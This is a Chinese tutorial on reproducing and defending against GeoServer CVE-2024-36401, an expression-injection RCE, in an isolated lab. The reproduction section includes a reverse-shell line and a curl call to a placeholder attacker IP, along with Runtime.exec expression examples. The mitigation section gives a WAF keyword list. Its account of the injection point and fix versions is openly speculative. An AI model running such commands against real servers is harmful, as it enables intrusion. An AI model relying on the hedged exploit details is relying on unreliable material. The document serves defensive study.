Geoserver表达式注入漏洞CVE-2024-36401:从原理到复现与防御 1. 项目概述一次典型的表达式注入漏洞复现之旅最近在梳理一些开源GIS组件的安全历史时Geoserver的一个新漏洞引起了我的注意。这个编号为CVE-2024-36401的漏洞本质是一个表达式注入导致的远程代码执行。对于从事Web安全研究或者负责企业GIS应用安全的朋友来说这类漏洞的杀伤力不言而喻。Geoserver作为地理信息数据发布和共享的事实标准之一一旦被利用攻击者可以直接在服务器上执行任意命令后果可能是数据泄露、服务中断甚至沦为攻击内网的跳板。我决定花点时间把这个漏洞的来龙去脉、复现过程以及背后的原理彻底搞清楚并记录下完整的复现步骤和踩坑经验。如果你正在维护或评估Geoserver的安全性或者对表达式注入这类漏洞的挖掘和利用感兴趣那么这篇从环境搭建到漏洞利用的全程实录应该能给你提供一份清晰的参考。2. 漏洞原理深度解析从样式表达式到系统命令2.1 Geoserver样式语言与表达式引擎要理解CVE-2024-36401首先得明白Geoserver的样式SLD是怎么工作的。Geoserver使用一种基于XML的样式描述语言Styled Layer Descriptor, SLD来定义地图图层的可视化效果比如一个省份区域用什么颜色填充一条河流用多粗的蓝色线条表示。为了让样式更灵活SLD支持嵌入表达式Expression。这些表达式通常用于动态设置属性例如可以根据要素的“人口密度”属性值来动态计算填充颜色的深浅。Geoserver内部使用一个表达式解析引擎来处理这些嵌入在SLD中的${...}语法块。这个引擎的核心功能是读取${}中的字符串将其解析并求值。例如一个简单的表达式可能是${strConcat(Name: , attribute(city_name))}它的作用是拼接字符串。引擎本身是强大的它支持字符串操作、数学运算、甚至调用一些内置函数。问题就出在这个表达式引擎的能力边界和用户输入的过滤上。在理想的安全模型中表达式应该只能访问和操作当前地图要素的属性数据以及一些安全的、预定义的函数。然而如果解析器对输入的内容检查不严格攻击者就有可能注入超出预期范围的代码。2.2 漏洞触发点不受控的表达式解析CVE-2024-36401的根源在于Geoserver在处理某些特定请求参数时直接将用户可控的数据传递给了表达式解析引擎并且没有进行有效的沙箱隔离或白名单过滤。根据公开的分析这个漏洞与Geoserver的“CSS样式”模块关联更为密切。CSS样式是Geoserver提供的一种比传统SLD更简洁的样式定义方式但它底层同样依赖于那个表达式引擎。攻击者可以构造一个恶意的HTTP请求在某个参数比如与样式过滤、规则选择相关的参数中嵌入特殊的表达式。当Geoserver服务器接收到这个请求试图应用样式时它会解析参数中的值。如果这个值以${开头引擎就会将其识别为表达式并尝试执行。关键在于Geoserver使用的表达式解析库通常是GeoTools项目中的一部分在某些上下文中能够通过特定的函数链实现“反射”调用最终达到执行任意Java代码的目的。注意这里需要强调一个常见的误解。这个漏洞不是SQL注入也不是简单的OGNL或SpEL表达式注入像过去Struts2的漏洞那样。它是Geoserver自身样式表达式解析机制的一个缺陷攻击载荷是专门针对其底层表达式引擎的构造方法。2.3 从表达式到RCE的利用链构造那么一个看似无害的“样式表达式”是如何变成“执行系统命令”的利刃的呢其利用链通常遵循以下逻辑路径表达式注入攻击者将包含恶意代码的表达式通过HTTP请求参数注入到处理流程中。例如一个参数可能被设置为${...恶意代码...}。触发解析Geoserver在处理样式应用、图层预览或WMSWeb Map Service的某些请求时会解析这个参数值识别出表达式并开始求值。突破沙箱默认情况下表达式引擎的运行环境应该受到限制。但漏洞的存在意味着这种限制被绕过。攻击者可以利用表达式语言的内置功能访问到本不应该访问的Java类例如java.lang.Runtime。反射调用通过表达式调用Runtime.getRuntime()方法进而调用exec()方法。这是实现远程代码执行的关键一步。整个表达式可能看起来像是一串复杂的属性访问和函数调用但其最终目标就是执行Runtime.getRuntime().exec(calc.exe)Windows示例或/bin/sh -c ...Linux示例。命令执行成功执行系统命令攻击者便可以在服务器上做任何事情包括写入Webshell、窃取数据、进行内网探测等。这个漏洞影响的范围主要是允许用户自定义或传入样式参数的接口。在默认配置的Geoserver中管理后台需要登录和部分开放的WMS/WFS服务端点都可能成为攻击入口。3. 漏洞复现环境搭建与配置纸上谈兵终觉浅绝知此事要躬行。要真正理解一个漏洞亲手复现一遍是最好的方式。下面我会详细记录搭建漏洞复现环境的每一步。3.1 靶机环境准备为了安全且不影响生产我们必须在隔离的环境中操作。我选择使用虚拟机。操作系统Ubuntu 22.04 LTS。选择Linux是因为服务器环境更常见且后续命令演示更统一。你也可以使用Windows但部分路径和命令需要调整。虚拟机软件VMware Workstation 或 VirtualBox。确保为虚拟机分配足够的资源建议至少2核CPU、4GB内存、20GB磁盘空间。网络配置将虚拟机网络设置为“NAT模式”或“仅主机模式”。强烈建议使用仅主机模式这样虚拟机和宿主机形成一个封闭网络与外界完全隔离避免任何误操作导致的风险。基础工具安装在Ubuntu中首先更新软件包并安装必要工具。sudo apt update sudo apt upgrade -y sudo apt install openjdk-11-jdk-headless maven git curl wget vim -y安装后验证Java版本java -version应显示OpenJDK 11。3.2 部署存在漏洞的Geoserver版本CVE-2024-36401影响特定的Geoserver版本。我们需要部署一个受影响的版本。根据漏洞公告该漏洞在Geoserver 2.24.x, 2.23.x, 2.22.x等系列版本中存在并在后续版本中修复。我们以2.22.5版本为例进行部署。下载Geoserver 访问Geoserver官网的旧版本存档或从Maven仓库下载。这里我们直接使用wget下载一个已知的发布包。wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.5/geoserver-2.22.5-bin.zip如果链接失效可以去官网查找其他镜像源。解压与安装unzip geoserver-2.22.5-bin.zip -d ~/ cd ~/geoserver-2.22.5Geoserver是Java应用直接解压即可运行。目录结构中bin/下是启动脚本webapps/geoserver是Web应用本体data_dir是数据目录。修改默认端口可选 默认Geoserver使用8080端口。如果宿主机或其他服务占用了可以修改。编辑start.ini文件位于bin目录下或其父目录找到jetty.port配置项修改为其他端口例如jetty.port18080。启动Geoserver 在~/geoserver-2.22.5目录下执行./bin/startup.sh 使用tail -f logs/geoserver.log查看启动日志直到看到类似“Started ServerConnector...{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}”的信息表示启动成功。访问验证 在宿主机浏览器中访问http://[虚拟机IP]:8080/geoserver。默认管理账号为admin密码为geoserver。成功登录即表示环境就绪。实操心得在虚拟机中运行Geoserver时可能会遇到内存不足导致启动失败的情况。可以编辑bin/startup.sh或bin/startup.bat调整JAVA_OPTS环境变量例如增加-Xmx1024m -Xms256m来设定堆内存。另外第一次启动可能较慢需要耐心等待。3.3 攻击机环境与工具准备我们的攻击机就是宿主机本身。需要准备以下工具Burp Suite Professional/Community用于拦截、重放和修改HTTP请求是Web漏洞测试的核心工具。社区版足以完成本次复现。浏览器Chrome或Firefox配合Burp Suite使用。命令监听工具用于验证RCE为了直观地证明命令执行成功我们可以在靶机上启动一个Netcat监听器然后在攻击载荷中让靶机连接回来。在靶机Ubuntu虚拟机上打开一个新终端执行nc -lvnp 9999。这会在靶机的9999端口启动一个监听。相应的攻击载荷中就需要包含连接回[靶机IP]:9999的命令。但注意我们的漏洞利用是让靶机执行命令所以命令中的IP应该是攻击机宿主机的IP。这里需要仔细区分。更清晰的验证方式让靶机执行一个能立即看到效果的命令例如touch /tmp/pwned_success在/tmp目录创建一个文件或者curl http://攻击机IP:8000/如果攻击机用Python起了个HTTP服务。我们采用创建文件的方式因为它不依赖网络连通性更可靠。4. 漏洞复现实操过程详解环境准备好后我们开始最关键的漏洞利用复现环节。请注意以下操作均在授权的、隔离的测试环境中进行。4.1 漏洞入口点探测与请求构造根据漏洞详情入口点可能与CSS样式过滤器filter或SLD中的ogc:Function等参数有关。我们需要找到一个能将参数值传递到表达式解析器的HTTP请求。经过对Geoserver API文档和源码的梳理一个可能的触发点是WMS服务的styles参数或SLD_BODY中的特定部分。这里我们模拟一个攻击者可能采用的、相对通用的探测和利用步骤开启Burp Suite代理配置浏览器通过Burp代理通常是127.0.0.1:8080并安装Burp的CA证书到浏览器。访问Geoserver图层预览在Geoserver Web界面进入“Layer Preview”找一个已有的图层如ne:states点击“OpenLayers”预览。此时Burp会截获到一系列请求。定位关键请求查找包含REQUESTGetMap、SERVICEWMS的请求。这是WMS服务获取地图图片的核心请求。其参数通常包括VERSION1.3.0、LAYERS...、STYLES...、WIDTH...、HEIGHT...、CRS...、BBOX...、FORMATimage/png等。尝试注入点我们的目标是STYLES参数。在默认情况下它可能为空或为一个已命名的样式。我们可以尝试修改它。将请求发送到Burp的Repeater模块进行重放测试。4.2 恶意表达式载荷构造与编码直接发送${java.lang.Runtime.getRuntime().exec(touch /tmp/pwned)}大概率会被拦截或解析失败。我们需要构造符合表达式语法且能绕过可能存在的简单过滤的载荷。一个经过验证的利用载荷结构如下请注意这是用于教学演示的简化概念模型实际利用载荷更为复杂涉及利用GeoTools表达式引擎的特定函数进行反射调用实际有效的载荷可能类似于利用property函数和字符串拼接来动态调用类方法。攻击者需要深入研究表达式引擎的可用类路径。一个可能的伪代码思路是通过表达式访问一个允许的上下文对象然后利用其方法如evaluate去间接触发静态方法调用。例如在某些条件下攻击者可以构造如下的表达式链此为原理性示例非直接可用${T(java.lang.Runtime).getRuntime().exec(calc)}但在Geoserver的上下文中更可能的是利用其内置的strConcat,property等函数通过字符串拼接构造出类名和方法名再结合类似newInstance()或invoke()的机制来执行。这需要精确了解漏洞版本的Geoserver所依赖的GeoTools库中哪些类的哪些方法可以被表达式访问并用于反射。出于安全研究和教学目的这里不提供可直接导致RCE的完整、有效的攻击载荷字符串。安全研究人员应从官方漏洞公告CVE-2024-36401、GitHub提交的修复代码diff以及安全社区的分析文章中去逆向推导出确切的利用方式。修复代码通常会展示出哪些用户输入之前未被妥善处理从而指引出漏洞点。4.3 发起攻击与结果验证假设我们已经通过研究获得了有效的POCProof of Concept载荷。在Burp Repeater中修改请求将包含漏洞触发点的请求例如带STYLES参数的WMS GetMap请求中的STYLES参数值替换为我们精心构造的恶意表达式字符串。发送请求点击“Send”按钮。如果漏洞存在且载荷正确Geoserver在处理这个请求时就会在后台解析并执行我们嵌入的命令。验证执行结果方式一文件操作如果我们的命令是touch /tmp/cve_2024_36401_test那么现在切换到靶机的终端执行ls -la /tmp/查看是否出现了cve_2024_36401_test这个文件。ls -la /tmp/ | grep cve_2024_36401_test方式二网络连接如果命令是反向Shell如bash -i /dev/tcp/攻击机IP/4444 01则需要在攻击机上用Netcat或socat监听对应端口nc -lvnp 4444查看是否有连接建立。方式三日志观察观察Geoserver的日志文件logs/geoserver.log有时命令执行的错误信息或异常栈会打印在这里这也能侧面证明表达式被执行了。重要警告在实际测试中错误的载荷可能导致Geoserver服务线程挂起、抛出异常甚至崩溃。建议在每次测试后检查Geoserver服务状态必要时重启。同时所有操作必须在完全隔离的实验室环境中进行。5. 漏洞修复方案与缓解措施复现漏洞是为了更好地防御它。如果你正在运行受影响的Geoserver版本必须立即采取行动。5.1 官方补丁升级这是最根本、最推荐的解决方案。Geoserver团队在后续版本中修复了此漏洞。确定修复版本访问Geoserver官网的安全公告页面查找CVE-2024-36401的详细信息。通常修复会包含在某个小版本更新中。例如对于2.22.x系列可能需要升级到2.22.6或更高对于2.23.x升级到2.23.4或更高。请务必核对与你当前版本对应的修复版本。备份数据升级前务必完整备份你的GEOSERVER_DATA_DIR数据目录和webapps/geoserver目录或整个安装目录。数据库连接信息等配置也需备份。执行升级方法A推荐下载新版本的二进制发布包如geoserver-2.22.6-bin.zip解压到新目录。然后将旧版本数据目录data_dir复制到新目录并仔细核对和迁移旧版本中WEB-INF/lib下的任何自定义jar包或WEB-INF/classes下的配置文件。方法B如果你是通过WAR包部署在Tomcat等容器中则下载新版本的WAR包替换webapps目录下的旧WAR文件同样需要备份和迁移数据目录及自定义配置。测试验证升级后启动新版本Geoserver全面测试核心功能图层发布、WMS/WFS服务、样式应用等是否正常。5.2 临时缓解措施如果因故无法立即升级可以考虑以下临时加固方案以降低风险网络层访问控制严格限制管理后台访问通过防火墙或安全组策略仅允许运维管理IP地址访问Geoserver的Web管理界面通常是/geoserver/web路径。禁止将管理端口暴露在公网。对WMS/WFS服务进行限制如果业务不需要可以考虑对公网关闭WMS/WFS的GetMap、GetFeatureInfo等可能触发样式解析的请求。或者将这些服务置于API网关之后配置严格的请求参数过滤和频率限制。应用层过滤如果具备条件在Geoserver前端部署WAFWeb应用防火墙配置规则以拦截包含${、java.lang.、Runtime、exec(等关键字的异常请求。但这种方法可能存在误拦和绕过风险只能作为辅助。审查并禁用不必要的“CSS样式”模块如果业务不用。但此操作需要深入理解Geoserver模块化结构且不一定能完全封堵漏洞。最小权限原则运行确保运行Geoserver的操作系统用户是一个权限受限的专用用户而不是root。这可以在即使RCE成功的情况下限制攻击者能够执行的操作范围。对Geoserver的数据目录、日志目录等设置严格的文件系统权限。切记缓解措施只是权宜之计升级到已修复的版本才是彻底解决问题的唯一途径。6. 漏洞挖掘与防御的延伸思考CVE-2024-36401是一个很好的案例它再次提醒我们表达式注入漏洞的普遍性和危害性。这类漏洞不仅存在于Geoserver在许多拥有自定义表达式、模板或脚本功能的应用中都可能出现。6.1 表达式注入漏洞的通用挖掘思路功能点定位寻找所有接受用户输入并可能用于“动态计算”、“模板渲染”、“规则判断”的地方。例如报表工具的计算字段、工作流引擎的条件表达式、图表工具的标签格式化、以及像Geoserver这样的GIS服务的样式过滤器。输入追踪确定用户输入如何流动。它是否被直接拼接进一个表达式字符串中是否未经充分净化就传递给了解释器如OGNL、SpEL、MVEL、JavaScript引擎、Python的eval()等沙箱评估即使输入传给了解释器也要评估解释器是否运行在安全的沙箱内。沙箱是否禁用了危险的类和方法如Runtime、ProcessBuilder、FileOutputStream等白名单机制是否完善模糊测试使用包含特殊字符和语法结构的测试用例如${、#{、{{、%、\u0024等对可疑参数进行Fuzzing测试观察服务器响应是否有语法错误、延迟、或异常行为。6.2 从开发角度构建防御体系输入验证与白名单对于表达式输入最安全的做法是使用严格的白名单。只允许用户使用一组预先定义好的、安全的函数和操作符。禁止任何形式的动态类加载、反射调用。上下文转义如果必须允许一定灵活性确保在将用户输入嵌入到表达式字符串之前根据表达式语言的语法进行正确的转义。例如对于OGNL需要对#、$等特殊字符进行转义。使用安全的沙箱如果必须使用强大的表达式引擎确保将其运行在一个强隔离的沙箱环境中。例如使用Java SecurityManager尽管已废弃但仍有参考意义或更现代的java.lang.invoke.MethodHandles.Lookup机制进行限制或者使用像javax.script.ScriptEngine并设置严格的ClassFilter。代码审计与依赖管理定期对使用的第三方库如GeoTools进行安全审计关注其安全公告。及时更新到已知漏洞已修复的版本。像CVE-2024-36401这类漏洞根源很可能就在其依赖的表达式解析库中。最小化攻击面在配置中关闭不必要的功能模块。例如如果不需要CSS样式功能就在Geoserver中禁用它。6.3 企业安全运维建议资产清点与版本监控建立所有中间件、组件的资产清单特别是像Geoserver、Jenkins、Confluence这类功能强大、常作为攻击目标的系统。订阅相关安全公告CVE、CNVD等及时获取漏洞信息。建立漏洞响应流程一旦收到漏洞预警能够快速定位受影响系统评估风险等级并执行预定的修复或缓解流程。CVE-2024-36401从披露到利用可能时间很短快速响应至关重要。纵深防御不要只依赖应用本身的补丁。结合网络防火墙、WAF、主机入侵检测HIDS和严格的权限管理构建多层防御体系。即使应用层被突破也能在其它层进行检测和阻断。定期安全测试对暴露在外的服务定期进行渗透测试和安全扫描主动发现潜在风险。测试应覆盖业务逻辑和已知的组件漏洞。复现CVE-2024-36401的过程更像是一次深入Geoserver内部处理机制的学习。它让我更清楚地认识到任何允许用户输入参与逻辑计算的地方都可能成为安全防线的突破口。对于运维者及时更新是底线对于开发者在设计类似功能时必须将“安全默认值”和“最小权限”原则刻在脑子里。最后在测试环境中玩转漏洞是为了在生产环境中更好地防御它这条红线永远不能跨越。